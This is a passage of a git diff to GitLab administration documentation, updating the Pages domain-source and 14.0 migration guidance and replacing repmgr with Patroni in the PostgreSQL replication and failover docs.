| `auth_scope` | The OAuth application scope to use for authentication. Must match GitLab Pages OAuth application settings. Leave blank to use `api` scope by default. |
@@ -281,6 +281,7 @@ control over how the Pages daemon runs and serves content in your environment.
| **`pages_nginx[]`** | |
| `enable` | Include a virtual host `server{}` block for Pages inside NGINX. Needed for NGINX to proxy traffic back to the Pages daemon. Set to `false` if the Pages daemon should directly receive all requests, for example, when using [custom domains](index.md#custom-domains). |
| `FF_ENABLE_REDIRECTS` | Feature flag to disable redirects (enabled by default). Read the [redirects documentation](../../user/project/pages/redirects.md#disable-redirects) for more information. |
+| `use_legacy_storage` | Temporarily-introduced parameter allowing to use legacy domain configuration source and storage. [Will be removed in GitLab 14.3](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/6166). |
---
@@ -756,51 +757,37 @@ Pages server.
## Domain source configuration
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217912) in GitLab 13.3.
+When GitLab Pages daemon serves pages requests it firstly needs to identify which project should be used to
+serve the requested URL and how its content is stored.
-GitLab Pages can use different sources to get domain configuration.
-The default value for Omnibus installations is `nil`.
+Before GitLab 13.3, all pages content was extracted to the special shared directory,
+and each project had a special configuration file.
+The Pages daemon was reading these configuration files and storing their content in memory.
- ```ruby
- gitlab_pages['domain_config_source'] = nil
- ```
+This approach had several disadvantages and was replaced with GitLab Pages using the internal GitLab API
+every time a new domain is requested.
+The domain information is also cached by the Pages daemon to speed up subsequent requests.
-If left unchanged, GitLab Pages tries to use any available source (either `gitlab` or `disk`). The
-preferred source is `gitlab`, which uses [API-based configuration](#gitlab-api-based-configuration).
+From [GitLab 13.3 to GitLab 13.12](#domain-source-configuration-before-140) GitLab Pages supported both ways of obtaining domain information.
-On large GitLab instances, using the API-based configuration significantly improves the pages daemon startup time, as there is no need to load all custom domains configuration into memory.
+Starting from [GitLab 14.0](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5993) GitLab Pages uses API
+by default and fails to start if it can't connect to it.
+For common issues, see the [troubleshooting section](#failed-to-connect-to-the-internal-gitlab-api).
For more details see this [blog post](https://about.gitlab.com/blog/2020/08/03/how-gitlab-pages-uses-the-gitlab-api-to-serve-content/).
-### Deprecated `domain_config_source`
-
-WARNING:
-The flag `gitlab_pages['domain_config_source']` is deprecated for use in [GitLab 13.9](https://gitlab.com/gitlab-org/gitlab/-/issues/217913),
-and is planned for removal in GitLab 14.0.
-
-GitLab 13.0 introduced the special flag `domain_config_source` to support manual opt-in to
-[API-based configuration](#gitlab-api-based-configuration).
-GitLab 13.7 introduced the [`auto` value](https://gitlab.com/gitlab-org/gitlab/-/issues/218358)
-to support a smoother transition to API-based configuration.
+### Domain source configuration before 14.0
-Starting with GitLab 14.0, GitLab Pages only supports API-based configuration, and
-[disk source configuration is removed](https://gitlab.com/gitlab-org/gitlab-pages/-/issues/382).
-Therefore, GitLab 14.0 also removes `domain_config_source`.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217912) in GitLab 13.3.
-GitLab Pages fails to start if it can't connect to the GitLab API. For other common issues, see the
-[troubleshooting section](#failed-to-connect-to-the-internal-gitlab-api)
-or report an issue.
+WARNING:
+`domain_config_source` parameter is removed and has no effect starting from [GitLab 14.0](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5993)
-### GitLab API-based configuration
+From [GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/217912) to [GitLab 13.12](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5993) GitLab Pages can either use `disk` or `gitlab` domain configuration source.
-WARNING:
-The flag `gitlab_pages['domain_config_source']` is deprecated for use in [GitLab 13.9](https://gitlab.com/gitlab-org/gitlab/-/issues/217913),
-and is planned for removal in GitLab 14.0. In GitLab 14.0 and later, GitLab Pages attempts to
-connect to the API automatically, without requiring the manual configuration steps shown here. Pages
-fails to start if this automatic connection fails.
+We highly advise you to use `gitlab` configuration source as it will make transition to newer versions easier.
-GitLab Pages can use an API-based configuration. This replaces disk source configuration, which
-was used prior to GitLab 13.0. Follow these steps to enable it:
+To explicitly enable API source:
1. Add the following to your `/etc/gitlab/gitlab.rb` file:
@@ -810,14 +797,15 @@ was used prior to GitLab 13.0. Follow these steps to enable it:
1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
-If you encounter an issue, you can disable it by choosing `disk`:
+Or if you want to use legacy confiration source you can:
-```ruby
-gitlab_pages['domain_config_source'] = "disk"
-```
+1. Add the following to your `/etc/gitlab/gitlab.rb` file:
+
+ ```ruby
+ gitlab_pages['domain_config_source'] = "disk"
+ ```
-For other common issues, see the [troubleshooting section](#failed-to-connect-to-the-internal-gitlab-api)
-or report an issue.
+1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
### GitLab API cache configuration
@@ -831,8 +819,8 @@ or persistent errors, or the Pages Daemon serving old content.
NOTE:
Expiry, interval and timeout flags use [Golang's duration formatting](https://golang.org/pkg/time/#ParseDuration).
A duration string is a possibly signed sequence of decimal numbers,
-each with optional fraction and a unit suffix, such as "300ms", "1.5h" or "2h45m".
-Valid time units are "ns", "us" (or "µs"), "ms", "s", "m", "h".
+each with optional fraction and a unit suffix, such as `300ms`, `1.5h` or `2h45m`.
+Valid time units are `ns`, `us` (or `µs`), `ms`, `s`, `m`, `h`.
Examples:
@@ -938,7 +926,7 @@ In installations from source:
## ZIP storage
-In GitLab 14.0 the underlaying storage format of GitLab Pages is changing from
+In GitLab 14.0 the underlying storage format of GitLab Pages is changing from
files stored directly in disk to a single ZIP archive per project.
These ZIP archives can be stored either locally on disk storage or on the [object storage](#using-object-storage) if it is configured.
@@ -1052,11 +1040,12 @@ To migrate GitLab Pages to GitLab 14.0:
1. If your current GitLab version is lower than 13.12, then you first need to upgrade to 13.12.
Upgrading directly to 14.0 may cause downtime for some web-sites hosted on GitLab Pages
until you finish the following steps.
-1. Enable the [API-based configuration](#gitlab-api-based-configuration), which
+1. Set [`domain_config_source` to `gitlab`](#domain-source-configuration-before-140), which
is the default starting from GitLab 14.0. Skip this step if you're already running GitLab 14.0 or above.
1. If you want to store your pages content in the [object storage](#using-object-storage), make sure to configure it.
If you want to store the pages content locally or continue using an NFS server, skip this step.
1. [Migrate legacy storage to ZIP storage.](#migrate-legacy-storage-to-zip-storage)
+1. Upgrade GitLab to 14.0.
## Backup
@@ -1081,6 +1070,16 @@ but commented out to help encourage others to add to it in the future. -->
## Troubleshooting
+### How to see GitLab Pages logs
+
+You can see Pages daemon logs by running:
+
+```shell
+sudo gitlab-ctl tail gitlab-pages
+```
+
+You can also find the log file in `/var/log/gitlab/gitlab-pages/current`.
+
### `open /etc/ssl/ca-bundle.pem: permission denied`
GitLab Pages runs inside a `chroot` jail, usually in a uniquely numbered directory like
@@ -1210,12 +1209,12 @@ These are due to the Pages files not being among the
It is possible to copy the subfolders and files in the [Pages path](#change-storage-path)
to the new primary node to resolve this.
For example, you can adapt the `rsync` strategy from the
-[moving repositories documenation](../operations/moving_repositories.md).
+[moving repositories documentation](../operations/moving_repositories.md).
Alternatively, run the CI pipelines of those projects that contain a `pages` job again.
### Failed to connect to the internal GitLab API
-If you have enabled [API-based configuration](#gitlab-api-based-configuration) and see the following error:
+If you see the following error:
```plaintext
ERRO[0010] Failed to connect to the internal GitLab API after 0.50s error="failed to connect to internal Pages API: HTTP status: 401"
@@ -1236,11 +1235,6 @@ error="failed to connect to internal Pages API: Get \"https://gitlab.example.com
### Pages cannot communicate with an instance of the GitLab API
-WARNING:
-The flag `gitlab_pages['domain_config_source']` is [deprecated](#deprecated-domain_config_source)
-for use in [GitLab 13.9](https://gitlab.com/gitlab-org/gitlab/-/issues/217913),
-and is planned for removal in GitLab 14.0.
-
If you use the default value for `domain_config_source=auto` and run multiple instances of GitLab
Pages, you may see intermittent 502 error responses while serving Pages content. You may also see
the following warning in the Pages logs:
@@ -1321,3 +1315,25 @@ To enable disk access:
```
1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
+
+### GitLab Pages doesn't work after upgrading to GitLab 14.0 or above
+
+GitLab 14.0 introduces a number of changes to GitLab Pages which may require manual intervention.
+
+1. Firstly [follow the migration guide](#migrate-gitlab-pages-to-140).
+1. If it doesn't work, see [GitLab Pages logs](#how-to-see-gitlab-pages-logs), and if you see any errors there then search them on this page.
+
+WARNING:
+As the last resort you can temporarily enable legacy storage and configuration mechanisms. Support for them [will be removed in GitLab 14.3](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/6166), so GitLab Pages will stop working if don't resolve the underlying issue.
+
+To do that:
+
+1. Please describe the issue you're seeing in [here](https://gitlab.com/gitlab-org/gitlab/-/issues/331699).
+
+1. Edit `/etc/gitlab/gitlab.rb`:
+
+ ```ruby
+ gitlab_pages['use_legacy_storage'] = true
+ ```
+
+1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
diff --git a/doc/administration/polling.md b/doc/administration/polling.md
index f66df70a163..f6732b8edc6 100644
--- a/doc/administration/polling.md
+++ b/doc/administration/polling.md
@@ -4,7 +4,7 @@ group: Distribution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Polling configuration
+# Polling configuration **(FREE SELF)**
The GitLab UI polls for updates for different resources (issue notes, issue
titles, pipeline statuses, etc.) on a schedule appropriate to the resource.
diff --git a/doc/administration/postgresql/external.md b/doc/administration/postgresql/external.md
index a9d0af952a0..8f0fe0ace87 100644
--- a/doc/administration/postgresql/external.md
+++ b/doc/administration/postgresql/external.md
@@ -22,6 +22,10 @@ If you use a cloud-managed service, or provide your own PostgreSQL instance:
roles to your `gitlab` user:
- Amazon RDS requires the [`rds_superuser`](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Appendix.PostgreSQL.CommonDBATasks.html#Appendix.PostgreSQL.CommonDBATasks.Roles) role.
- Azure Database for PostgreSQL requires the [`azure_pg_admin`](https://docs.microsoft.com/en-us/azure/postgresql/howto-create-users#how-to-create-additional-admin-users-in-azure-database-for-postgresql) role.
+ - Google Cloud SQL requires the [`cloudsqlsuperuser`](https://cloud.google.com/sql/docs/postgres/users#default-users) role.
+
+ This is for the installation of extensions during installation and upgrades. As an alternative,
+ [ensure the extensions are installed manually, and read about the problems that may arise during future GitLab upgrades](../../install/postgresql_extensions.md).
1. Configure the GitLab application servers with the appropriate connection details
for your external PostgreSQL service in your `/etc/gitlab/gitlab.rb` file:
diff --git a/doc/administration/postgresql/img/pg_ha_architecture.png b/doc/administration/postgresql/img/pg_ha_architecture.png
index ef870f652ae..5d2a4a584bf 100644
--- a/doc/administration/postgresql/img/pg_ha_architecture.png
+++ b/doc/administration/postgresql/img/pg_ha_architecture.png
Binary files differ
diff --git a/doc/administration/postgresql/index.md b/doc/administration/postgresql/index.md
index eabb396aeab..bce78bbccff 100644
--- a/doc/administration/postgresql/index.md
+++ b/doc/administration/postgresql/index.md
@@ -16,7 +16,7 @@ There are essentially three setups to choose from.
This setup is for when you have installed GitLab using the
[Omnibus GitLab **Enterprise Edition** (EE) package](https://about.gitlab.com/install/?version=ee).
-All the tools that are needed like PostgreSQL, PgBouncer, Patroni, and repmgr are bundled in
+All the tools that are needed like PostgreSQL, PgBouncer, and Patroni are bundled in
the package, so you can it to set up the whole PostgreSQL infrastructure (primary, replica).
[> Read how to set up PostgreSQL replication and failover using Omnibus GitLab](replication_and_failover.md)
diff --git a/doc/administration/postgresql/pgbouncer.md b/doc/administration/postgresql/pgbouncer.md
index fc7da04b960..e481fcb71f4 100644
--- a/doc/administration/postgresql/pgbouncer.md
+++ b/doc/administration/postgresql/pgbouncer.md
@@ -164,7 +164,7 @@ and [GitLab upgrades](https://docs.gitlab.com/omnibus/update/README.html#use-pos
1. To find the primary node, run the following on a database node:
```shell
- sudo gitlab-ctl repmgr cluster show
+ sudo gitlab-ctl patroni members
```
1. Edit `/etc/gitlab/gitlab.rb` on the application node you're performing the task on, and update
diff --git a/doc/administration/postgresql/replication_and_failover.md b/doc/administration/postgresql/replication_and_failover.md
index 878d2b536cb..b6d2e36851d 100644
--- a/doc/administration/postgresql/replication_and_failover.md
+++ b/doc/administration/postgresql/replication_and_failover.md
@@ -36,8 +36,8 @@ to avoid the network becoming a single point of failure.
NOTE:
As of GitLab 13.3, PostgreSQL 12 is shipped with Omnibus GitLab. Clustering for PostgreSQL 12 is only supported with
-Patroni. See the [Patroni](#patroni) section for further details. The support for repmgr will not be extended beyond
-PostgreSQL 11.
+Patroni. See the [Patroni](#patroni) section for further details. Starting with GitLab 14.0, only PostgreSQL 12 is
+shipped with Omnibus GitLab and thus Patroni becomes mandatory for replication and failover.
### Database node
@@ -118,26 +118,27 @@ When using default setup, minimum configuration requires:
Few notes on the service itself:
- The service runs under a system account, by default `gitlab-consul`.
- - If you are using a different username, you will have to specify it. We
- will refer to it with `CONSUL_USERNAME`,
-- There will be a database user created with read-only access to the repmgr
- database
-- Passwords will be stored in the following locations:
+ - If you are using a different username, you have to specify it through the
+ `CONSUL_USERNAME` variable.
+- Passwords are stored in the following locations:
- `/etc/gitlab/gitlab.rb`: hashed
- `/var/opt/gitlab/pgbouncer/pg_auth`: hashed
- `/var/opt/gitlab/consul/.pgpass`: plaintext
#### PostgreSQL information
-When configuring PostgreSQL, we will set `max_wal_senders` to one more than
-the number of database nodes in the cluster.
-This is used to prevent replication from using up all of the
-available database connections.
+When configuring PostgreSQL, we do the following:
+
+- Set `max_replication_slots` to double the number of database nodes.
+ Patroni uses one extra slot per node when initiating the replication.
+- Set `max_wal_senders` to one more than the allocated number of replication slots in the cluster.
+ This prevents replication from using up all of the available database connections.
In this document we are assuming 3 database nodes, which makes this configuration:
```ruby
-patroni['postgresql']['max_wal_senders'] = 4
+patroni['postgresql']['max_replication_slots'] = 6
+patroni['postgresql']['max_wal_senders'] = 7
```
As previously mentioned, you'll have to prepare the network subnets that will
@@ -176,9 +177,7 @@ Few notes on the service itself:
- The service runs as the same system account as the database
- In the package, this is by default `gitlab-psql`
- If you use a non-default user account for PgBouncer service (by default `pgbouncer`), you will have to specify this username. We will refer to this requirement with `PGBOUNCER_USERNAME`.
-- The service will have a regular database user account generated for it
- - This defaults to `repmgr`
-- Passwords will be stored in the following locations:
+- Passwords are stored in the following locations:
- `/etc/gitlab/gitlab.rb`: hashed, and in plain text
- `/var/opt/gitlab/pgbouncer/pg_auth`: hashed
@@ -198,8 +197,7 @@ When installing the GitLab package, do not supply `EXTERNAL_URL` value.
#### Configuring Patroni cluster
-You must enable Patroni explicitly to be able to use it (with `patroni['enable'] = true`). When Patroni is enabled
-repmgr will be disabled automatically.
+You must enable Patroni explicitly to be able to use it (with `patroni['enable'] = true`).
Any PostgreSQL configuration item that controls replication, for example `wal_level`, `max_wal_senders`, etc, are strictly
controlled by Patroni and will override the original settings that you make with the `postgresql[...]` configuration key.
@@ -210,17 +208,14 @@ configuration key.
NOTE:
The configuration of a Patroni node is very similar to a repmgr but shorter. When Patroni is enabled, first you can ignore
-any replication setting of PostgreSQL (it will be overwritten anyway). Then you can remove any `repmgr[...]` or
+any replication setting of PostgreSQL (it is overwritten anyway). Then you can remove any `repmgr[...]` or
repmgr-specific configuration as well. Especially, make sure that you remove `postgresql['shared_preload_libraries'] = 'repmgr_funcs'`.
-Here is an example similar to [the one that was done with repmgr](#configuring-repmgr-nodes):
+Here is an example:
```ruby
-# Disable all components except PostgreSQL, Patroni (or Repmgr), and Consul
-roles['postgres_role']
-
-# Enable Patroni (which automatically disables Repmgr).
-patroni['enable'] = true
+# Disable all components except Patroni and Consul
+roles(['patroni_role'])
# PostgreSQL configuration
postgresql['listen_address'] = '0.0.0.0'
@@ -236,13 +231,20 @@ consul['services'] = %w(postgresql)
#
# Replace PGBOUNCER_PASSWORD_HASH with a generated md5 value
postgresql['pgbouncer_user_password'] = 'PGBOUNCER_PASSWORD_HASH'
+# Replace POSTGRESQL_REPLICATION_PASSWORD_HASH with a generated md5 value
+postgresql['sql_replication_password'] = 'POSTGRESQL_REPLICATION_PASSWORD_HASH'
# Replace POSTGRESQL_PASSWORD_HASH with a generated md5 value
postgresql['sql_user_password'] = 'POSTGRESQL_PASSWORD_HASH'
-# Replace X with value of number of db nodes + 1 (OPTIONAL the default value is 5)
-patroni['postgresql']['max_wal_senders'] = X
+# Sets `max_replication_slots` to double the number of database nodes.
+# Patroni uses one extra slot per node when initiating the replication.
patroni['postgresql']['max_replication_slots'] = X
+# Set `max_wal_senders` to one more than the number of replication slots in the cluster.
+# This is used to prevent replication from using up all of the
+# available database connections.
+patroni['postgresql']['max_wal_senders'] = X+1
+
# Replace XXX.XXX.XXX.XXX/YY with Network Address
postgresql['trust_auth_cidr_addresses'] = %w(XXX.XXX.XXX.XXX/YY)
@@ -267,10 +269,6 @@ Generally, when Consul cluster is ready, the first node that [reconfigures](../r
becomes the leader. You do not need to sequence the nodes reconfiguration. You can run them in parallel or in any order.
If you choose an arbitrary order you do not have any predetermined master.
-NOTE:
-As opposed to repmgr, once the nodes are reconfigured you do not need any further action or additional command to join
-the replicas.
-
#### Enable Monitoring
> [Introduced](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/3786) in GitLab 12.0.
@@ -298,7 +296,7 @@ If you enable Monitoring, it must be enabled on **all** database servers.
```ruby
# Disable all components except PgBouncer and Consul agent
- roles ['pgbouncer_role']
+ roles(['pgbouncer_role'])
# Configure PgBouncer
pgbouncer['admin_users'] = %w(pgbouncer gitlab-consul)
@@ -348,7 +346,7 @@ If you enable Monitoring, it must be enabled on **all** database servers.
1. Ensure each node is talking to the current master:
```shell
- gitlab-ctl pgb-console # You will be prompted for PGBOUNCER_PASSWORD
+ gitlab-ctl pgb-console # Supply PGBOUNCER_PASSWORD when prompted
```
If there is an error `psql: ERROR: Auth failed` after typing in the
@@ -415,7 +413,7 @@ Refer to your preferred Load Balancer's documentation for further guidance.
### Configuring the Application nodes
-These will be the nodes running the `gitlab-rails` service. You may have other
+Application nodes run the `gitlab-rails` service. You may have other
attributes set, but the following need to be set.
1. Edit `/etc/gitlab/gitlab.rb`:
@@ -448,7 +446,7 @@ in the Troubleshooting section before proceeding.
### Backups
-Do not backup or restore GitLab through a PgBouncer connection: this will cause a GitLab outage.
+Do not backup or restore GitLab through a PgBouncer connection: this causes a GitLab outage.
[Read more about this and how to reconfigure backups](../../raketasks/backup_restore.md#backup-and-restore-for-installations-using-pgbouncer).
@@ -495,7 +493,7 @@ On each server edit `/etc/gitlab/gitlab.rb`:
```ruby
# Disable all components except Consul
-roles ['consul_role']
+roles(['consul_role'])
consul['configuration'] = {
server: true,
@@ -512,7 +510,7 @@ On each server edit `/etc/gitlab/gitlab.rb`:
```ruby
# Disable all components except Pgbouncer and Consul agent
-roles ['pgbouncer_role']
+roles(['pgbouncer_role'])
# Configure PgBouncer
pgbouncer['admin_users'] = %w(pgbouncer gitlab-consul)
@@ -527,7 +525,6 @@ pgbouncer['users'] = {
}
consul['watchers'] = %w(postgresql)
-consul['enable'] = true
consul['configuration'] = {
retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13)
}
@@ -545,29 +542,26 @@ An internal load balancer (TCP) is then required to be setup to serve each PgBou
On database nodes edit `/etc/gitlab/gitlab.rb`:
```ruby
-# Disable all components except PostgreSQL, Patroni (or Repmgr), and Consul
-roles ['postgres_role']
+# Disable all components except Patroni and Consul
+roles(['patroni_role'])
# PostgreSQL configuration
postgresql['listen_address'] = '0.0.0.0'
postgresql['hot_standby'] = 'on'
postgresql['wal_level'] = 'replica'
-# Enable Patroni (which automatically disables Repmgr).
-patroni['enable'] = true
-
# Disable automatic database migrations
gitlab_rails['auto_migrate'] = false
postgresql['pgbouncer_user_password'] = '771a8625958a529132abe6f1a4acb19c'
postgresql['sql_user_password'] = '450409b85a0223a214b5fb1484f34d0f'
-patroni['postgresql']['max_wal_senders'] = 4
+patroni['postgresql']['max_replication_slots'] = 6
+patroni['postgresql']['max_wal_senders'] = 7
postgresql['trust_auth_cidr_addresses'] = %w(10.6.0.0/16)
# Configure the Consul agent
consul['services'] = %w(postgresql)
-consul['enable'] = true
consul['configuration'] = {
retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13)
}
@@ -586,19 +580,6 @@ After deploying the configuration follow these steps:
gitlab-ctl get-postgresql-primary
```
-1. On the primary database node:
-
- Enable the `pg_trgm` and `btree_gist` extensions:
-
- ```shell
- gitlab-psql -d gitlabhq_production
- ```
-
- ```shell
- CREATE EXTENSION pg_trgm;
- CREATE EXTENSION btree_gist;
- ```
-
1. On `10.6.0.41`, our application server:
Set `gitlab-consul` user's PgBouncer password to `toomanysecrets`:
@@ -640,17 +621,14 @@ Please note that after the initial configuration, if a failover occurs, the Post
On database nodes edit `/etc/gitlab/gitlab.rb`:
```ruby
-# Disable all components except PostgreSQL, Repmgr, and Consul
-roles ['postgres_role']
+# Disable all components except Patroni and Consul
+roles(['patroni_role'])
# PostgreSQL configuration
postgresql['listen_address'] = '0.0.0.0'
postgresql['hot_standby'] = 'on'
postgresql['wal_level'] = 'replica'
-# Enable Patroni (which automatically disables Repmgr).
-patroni['enable'] = true
-
# Disable automatic database migrations
gitlab_rails['auto_migrate'] = false
@@ -659,7 +637,15 @@ consul['services'] = %w(postgresql)
postgresql['pgbouncer_user_password'] = '771a8625958a529132abe6f1a4acb19c'
postgresql['sql_user_password'] = '450409b85a0223a214b5fb1484f34d0f'
-patroni['postgresql']['max_wal_senders'] = 4
+
+# Sets `max_replication_slots` to double the number of database nodes.
+# Patroni uses one extra slot per node when initiating the replication.
+patroni['postgresql']['max_replication_slots'] = 6
+
+# Set `max_wal_senders` to one more than the number of replication slots in the cluster.
+# This is used to prevent replication from using up all of the
+# available database connections.
+patroni['postgresql']['max_wal_senders'] = 7
postgresql['trust_auth_cidr_addresses'] = %w(10.6.0.0/16)
@@ -716,22 +702,17 @@ The manual steps for this configuration are the same as for the [example recomme
## Patroni
NOTE:
-Using Patroni instead of Repmgr is supported for PostgreSQL 11 and required for PostgreSQL 12.
+Using Patroni instead of Repmgr is supported for PostgreSQL 11 and required for PostgreSQL 12. Starting with GitLab 14.0, only PostgreSQL 12 is available and hence Patroni is mandatory to achieve failover and replication.
Patroni is an opinionated solution for PostgreSQL high-availability. It takes the control of PostgreSQL, overrides its
-configuration and manages its lifecycle (start, stop, restart). This is a more active approach when compared to repmgr.
-Both repmgr and Patroni are both supported and available. But Patroni will be the default (and perhaps the only) option
-for PostgreSQL 12 clustering and cascading replication for Geo deployments.
+configuration and manages its lifecycle (start, stop, restart). Patroni is the only option for PostgreSQL 12 clustering and for cascading replication for Geo deployments.
The [architecture](#example-recommended-setup-manual-steps) (that was mentioned above) does not change for Patroni.
You do not need any special consideration for Patroni while provisioning your database nodes. Patroni heavily relies on
Consul to store the state of the cluster and elect a leader. Any failure in Consul cluster and its leader election will
propagate to Patroni cluster as well.
-Similar to repmgr, Patroni monitors the cluster and handles failover. When the primary node fails it works with Consul
-to notify PgBouncer. However, as opposed to repmgr, on failure, Patroni handles the transitioning of the old primary to
-a replica and rejoins it to the cluster automatically. So you do not need any manual operation for recovering the
-cluster as you do with repmgr.
+Patroni monitors the cluster and handles failover. When the primary node fails it works with Consul to notify PgBouncer. On failure, Patroni handles the transitioning of the old primary to a replica and rejoins it to the cluster automatically.
With Patroni the connection flow is slightly different. Patroni on each node connects to Consul agent to join the
cluster. Only after this point it decides if the node is the primary or a replica. Based on this decision, it configures
@@ -829,7 +810,7 @@ For further details on this subject, see the
#### Geo secondary site considerations
-Similar to `repmgr`, when a Geo secondary site is replicating from a primary site that uses `Patroni` and `PgBouncer`, [replicating through PgBouncer is not supported](https://github.com/pgbouncer/pgbouncer/issues/382#issuecomment-517911529) and the secondary must replicate directly from the leader node in the `Patroni` cluster. Therefore, when there is an automatic or manual failover in the `Patroni` cluster, you will need to manually re-point your secondary site to replicate from the new leader with:
+When a Geo secondary site is replicating from a primary site that uses `Patroni` and `PgBouncer`, [replicating through PgBouncer is not supported](https://github.com/pgbouncer/pgbouncer/issues/382#issuecomment-517911529) and the secondary must replicate directly from the leader node in the `Patroni` cluster. Therefore, when there is an automatic or manual failover in the `Patroni` cluster, you will need to manually re-point your secondary site to replicate from the new leader with:
```shell
sudo gitlab-ctl replicate-geo-database --host=<new_leader_ip> --replication-slot=<slot_name>
@@ -891,8 +872,8 @@ You can switch an exiting database cluster to use Patroni instead of repmgr with
1. On the primary node, [configure Patroni](#configuring-patroni-cluster). Remove `repmgr` and any other
repmgr-specific configuration. Also remove any configuration that is related to PostgreSQL replication.
-1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) on the primary node. It will become
- the leader. You can check this with:
+1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) on the primary node.
+ It makes it the leader. You can check this with:
```shell
sudo gitlab-ctl tail patroni
@@ -920,13 +901,13 @@ upgrading PostgreSQL.
Here are a few key facts that you must consider before upgrading PostgreSQL:
- The main point is that you will have to **shut down the Patroni cluster**. This means that your
- GitLab deployment will be down for the duration of database upgrade or, at least, as long as your leader
+ GitLab deployment is down for the duration of database upgrade or, at least, as long as your leader
node is upgraded. This can be **a significant downtime depending on the size of your database**.
- Upgrading PostgreSQL creates a new data directory with a new control data. From Patroni's perspective
this is a new cluster that needs to be bootstrapped again. Therefore, as part of the upgrade procedure,
- the cluster state, which is stored in Consul, will be wiped out. Once the upgrade is completed, Patroni
- will be instructed to bootstrap a new cluster. **Note that this will change your _cluster ID_**.
+ the cluster state (stored in Consul) is wiped out. Once the upgrade is completed, Patroni
+ bootstraps a new cluster. **Note that this changes your _cluster ID_**.
- The procedures for upgrading leader and replicas are not the same. That is why it is important to use the
right procedure on each node.
@@ -996,389 +977,6 @@ Reverting PostgreSQL upgrade with `gitlab-ctl revert-pg-upgrade` has the same co
`gitlab-ctl pg-upgrade`. You should follow the same procedure by first stopping the replicas,
then reverting the leader, and finally reverting the replicas.
-## Repmgr
-
-NOTE:
-Using Patroni instead of Repmgr is supported for PostgreSQL 11 and required for PostgreSQL 12.
-
-### Configuring Repmgr Nodes
-
-1. On the master database node, edit `/etc/gitlab/gitlab.rb` replacing values noted in the `# START user configuration` section:
-
- ```ruby
- # Disable all components except PostgreSQL and Repmgr and Consul
- roles ['postgres_role']
-
- # PostgreSQL configuration
- postgresql['listen_address'] = '0.0.0.0'
- postgresql['hot_standby'] = 'on'
- postgresql['wal_level'] = 'replica'
- postgresql['shared_preload_libraries'] = 'repmgr_funcs'
-
- # Disable automatic database migrations
- gitlab_rails['auto_migrate'] = false
-
- # Configure the Consul agent
- consul['services'] = %w(postgresql)
-
- # START user configuration
- # Please set the real values as explained in Required Information section
- #
- # Replace PGBOUNCER_PASSWORD_HASH with a generated md5 value
- postgresql['pgbouncer_user_password'] = 'PGBOUNCER_PASSWORD_HASH'
- # Replace POSTGRESQL_PASSWORD_HASH with a generated md5 value
- postgresql['sql_user_password'] = 'POSTGRESQL_PASSWORD_HASH'
- # Replace X with value of number of db nodes + 1
- postgresql['max_wal_senders'] = X
- postgresql['max_replication_slots'] = X
-
- # Replace XXX.XXX.XXX.XXX/YY with Network Address
- postgresql['trust_auth_cidr_addresses'] = %w(XXX.XXX.XXX.XXX/YY)
- repmgr['trust_auth_cidr_addresses'] = %w(127.0.0.1/32 XXX.XXX.XXX.XXX/YY)
-
- # Replace placeholders:
- #
- # Y.Y.Y.Y consul1.gitlab.example.com Z.Z.Z.Z
- # with the addresses gathered for CONSUL_SERVER_NODES
- consul['configuration'] = {
- retry_join: %w(Y.Y.Y.Y consul1.gitlab.example.com Z.Z.Z.Z)
- }
- #
- # END user configuration
- ```
-
- > `postgres_role` was introduced with GitLab 10.3
-
-1. On secondary nodes, add all the configuration specified above for primary node
- to `/etc/gitlab/gitlab.rb`. In addition, append the following configuration
- to inform `gitlab-ctl` that they are standby nodes initially and it need not
- attempt to register them as primary node
-
- ```ruby
- # Specify if a node should attempt to be master on initialization
- repmgr['master_on_initialization'] = false
- ```
-
-1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
-1. [Enable Monitoring](#enable-monitoring)
-
-> Please note:
->
-> - If you want your database to listen on a specific interface, change the configuration:
-> `postgresql['listen_address'] = '0.0.0.0'`.
-> - If your PgBouncer service runs under a different user account,
-> you also need to specify: `postgresql['pgbouncer_user'] = PGBOUNCER_USERNAME` in
-> your configuration.
-
-#### Database nodes post-configuration
-
-##### Primary node
-
-Select one node as a primary node.
-
-1. Open a database prompt:
-
- ```shell
- gitlab-psql -d gitlabhq_production
- ```
-
-1. Enable the `pg_trgm` extension:
-
- ```shell
- CREATE EXTENSION pg_trgm;
- ```
-
-1. Enable the `btree_gist` extension:
-
- ```shell
- CREATE EXTENSION btree_gist;
- ```
-
-1. Exit the database prompt by typing `\q` and Enter.
-
-1. Verify the cluster is initialized with one node:
-
- ```shell
- gitlab-ctl repmgr cluster show
- ```
-
- The output should be similar to the following:
-
- ```plaintext
- Role | Name | Upstream | Connection String
- ----------+----------|----------|----------------------------------------
- * master | HOSTNAME | | host=HOSTNAME user=gitlab_repmgr dbname=gitlab_repmgr
- ```
-
-1. Note down the hostname or IP address in the connection string: `host=HOSTNAME`. We will
- refer to the hostname in the next section as `MASTER_NODE_NAME`. If the value
- is not an IP address, it will need to be a resolvable name (via DNS or
- `/etc/hosts`)
-
-##### Secondary nodes
-
-1. Set up the repmgr standby:
-
- ```shell
- gitlab-ctl repmgr standby setup MASTER_NODE_NAME
- ```
-
- Do note that this will remove the existing data on the node. The command
- has a wait time.
-
- The output should be similar to the following:
-
